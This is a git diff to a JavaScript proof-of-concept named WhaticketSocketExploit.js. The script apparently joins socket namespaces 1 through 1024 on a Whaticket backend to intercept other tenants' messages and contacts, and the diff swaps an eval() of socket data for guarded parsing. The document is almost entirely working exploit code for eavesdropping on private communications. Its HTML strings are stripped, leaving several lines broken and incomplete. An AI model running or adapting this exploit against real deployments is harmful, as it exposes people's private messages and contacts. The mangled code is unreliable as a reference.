diff --git a/WhaticketSocketExploit.js b/WhaticketSocketExploit.js index 5e63b4f..3d214a1 100644 --- a/WhaticketSocketExploit.js +++ b/WhaticketSocketExploit.js @@ -14,13 +14,13 @@ const runTest = (backend_url, token) => { } spyOthers.insertAdjacentHTML("afterbegin", "
Sending handshake"); spySocket.send("40"); spyOthers.insertAdjacentHTML("afterbegin", "
Connecting to namespaces from 1 to 1024"); - for (n=1; n<=1024; n++) { + for (n = 1; n <= 1024; n++) { spySocket.send(`40/${n},`); } }, 1000); @@ -33,28 +33,35 @@ const runTest = (backend_url, token) => { spySocket.send('42["joinNotification"]'); }, 2000); } else if (event.data.startsWith("42")) { - data = eval(event.data.substr(event.data.indexOf(',')+1)); - console.log(data); - if (data[0].endsWith('appMessage')) { - if (data[1]?.message?.body) { - spyMessages.insertAdjacentHTML("afterbegin", ` - - `); - } - } else if (data[0].endsWith('contact')) { - if (data[1]?.contact?.name) { - spyContacts.insertAdjacentHTML("afterbegin", ` -
" + JSON.stringify(data) + ""); + } + } else { + spyOthers.insertAdjacentHTML("afterbegin", "
" + JSON.stringify(data) + ""); } - } else { - spyOthers.insertAdjacentHTML("afterbegin", "
" + JSON.stringify(data) + ""); + } catch (error) { + console.error('Error parsing message data:', error); } } }